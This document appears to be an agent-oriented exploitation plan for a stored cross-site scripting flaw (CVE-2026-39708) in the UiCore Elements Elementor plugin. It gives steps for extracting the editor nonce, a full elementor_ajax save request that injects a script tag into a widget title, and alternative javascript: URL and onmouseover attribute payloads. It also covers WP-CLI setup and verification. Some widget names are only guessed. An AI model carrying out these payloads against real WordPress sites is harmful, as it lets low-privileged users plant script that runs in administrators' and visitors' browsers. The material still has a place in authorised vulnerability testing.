Exploitation Research Plan - CVE-2026-39708

1. Vulnerability Summary

CVE-2026-39708 is a Stored Cross-Site Scripting (XSS) vulnerability in the UiCore Elements plugin (version <= 1.3.14). The vulnerability exists because the plugin fails to properly sanitize user-supplied widget settings during storage and fails to escape those settings when rendering them in the frontend.

As an Elementor addon, the plugin registers various widgets. When a user with Contributor-level permissions or higher creates or edits a post using the Elementor editor, they can configure these widgets. If a widget's render() method outputs a setting (like a title, caption, or URL) without using WordPress escaping functions (e.g., esc_html, esc_attr), the injected script is stored in the _elementor_data post meta and executes whenever the page is viewed.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: elementor_ajax (standard Elementor save mechanism)
• Vulnerable Parameter: The settings object within the JSON payload sent to save the Elementor page data. Specific keys vary by widget (e.g., title, text, link).
• Authentication Level: Authenticated (Contributor+)
• Preconditions:
  1. The uicore-elements plugin must be active.
  2. Elementor must be active.
  3. The attacker must have a user account with the edit_posts capability (Contributor, Author, Editor, or Admin).

3. Code Flow

The vulnerability likely follows this execution path:

1. Entry Point (AJAX): A Contributor sends a request to admin-ajax.php with the action elementor_ajax and a payload containing a UiCore widget with malicious settings.
2. Storage: Elementor's core logic receives this data and stores it in the wp_postmeta table under the key _elementor_data for the specific post.
3. Trigger: A user (e.g., an Administrator) views the published post on the frontend.
4. Rendering:
   • Elementor initializes the page and calls the render() method of each widget in the _elementor_data stack.
   • Inside uicore-elements/widgets/[vulnerable_widget].php, the render() method retrieves settings using $this->get_settings_for_display().
   • Vulnerable Sink: The code performs an echo or printf on a setting value without wrapping it in esc_html() or esc_attr().

4. Nonce Acquisition Strategy

To save a post via Elementor's AJAX endpoint, a valid Elementor AJAX nonce is required.

1. Create a Post: Use WP-CLI to create a draft post to target.

   wp post create --post_type=post --post_status=draft --post_title="XSS Test" --post_author=CONTRIBUTOR_ID
   

2. Navigate to Editor: Use browser_navigate to open the Elementor editor for that post: /wp-admin/post.php?post=[POST_ID]&action=elementor.
3. Extract Nonce: Use browser_eval to extract the nonce from the Elementor configuration object.

   // Recommended extraction from the Elementor config object
   window.elementorCommon?.config?.ajax?.nonce || window.elementorConfig?.ajax?.nonce
   

4. Extract Editor Nonce (Backup): If the above fails, check for the editor nonce:

   window.elementorConfig?.nonces?.save_builder
   

5. Exploitation Strategy

The goal is to update a post's Elementor data to include a UiCore widget containing a script payload.

Step 1: Identify a Vulnerable Widget

Since specific widget names are not provided, we will target common UiCore widgets (inferred from typical Elementor addons). Likely candidates:

• uicore-heading
• uicore-button
• uicore-image

Step 2: Construct the JSON Payload

The payload must mimic the structure Elementor uses for saving page data. We will inject the script into a title setting.

Step 3: Perform the HTTP Request

Send the payload to admin-ajax.php.

• Method: POST
• URL: http://[target]/wp-admin/admin-ajax.php
• Content-Type: application/x-www-form-urlencoded
• Parameters:
  • action: elementor_ajax
  • _nonce: [EXTRACTED_NONCE]
  • actions: A JSON string containing the save action.
  • editor_post_id: [POST_ID]

Example actions parameter (URL encoded):

{
  "editor_post_save": {
    "action": "editor_post_save",
    "data": {
      "status": "publish",
      "elements": [
        {
          "id": "exploit_id",
          "elType": "section",
          "elements": [
            {
              "id": "exploit_column",
              "elType": "column",
              "elements": [
                {
                  "id": "exploit_widget",
                  "elType": "widget",
                  "widgetType": "uicore-heading", 
                  "settings": {
                    "title": "<script>alert('CVE-2026-39708')</script>"
                  }
                }
              ]
            }
          ]
        }
      ]
    }
  }
}

6. Test Data Setup

1. User: Create a Contributor user.

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

2. Post: Create a post that the contributor can edit.

   wp post create --post_type=post --post_status=publish --post_title="Exploit Page" --post_author=$(wp user get attacker --field=ID)
   

3. Enable Elementor: Ensure Elementor is enabled for Posts in Elementor > Settings.

7. Expected Results

• The AJAX request should return a 200 OK with a JSON body indicating success: true.
• When navigating to the frontend URL of the created post, a JavaScript alert with CVE-2026-39708 should execute in the browser.

8. Verification Steps

1. Check Post Meta: Use WP-CLI to verify the payload is stored in the database.

   wp post meta get [POST_ID] _elementor_data
   

2. Frontend Inspection: Use http_request to fetch the post content and check for the unescaped script tags.

   # Look for the raw script in the response
   grep "<script>alert('CVE-2026-39708')</script>"
   

9. Alternative Approaches

If the uicore-heading widget is not the vulnerable one, attempt to inject into different settings or widgets:

• Widget Settings: Try caption, text, or link settings.
• Link Setting Payload: If the setting is a URL, try a javascript: protocol:

  "settings": {
      "link": { "url": "javascript:alert(1)" }
  }
  

• Custom Attributes: Many UiCore widgets support "Custom Attributes". Try injecting into the attribute value:

  "settings": {
      "custom_attributes": "onmouseover|alert(1)"
  }
  

• Widget Selection: If uicore-heading is not present, use wp-cli to list available UiCore widgets by searching for widget registration in the plugin directory.

  grep -r "register_widget_type" /var/www/html/wp-content/plugins/uicore-elements/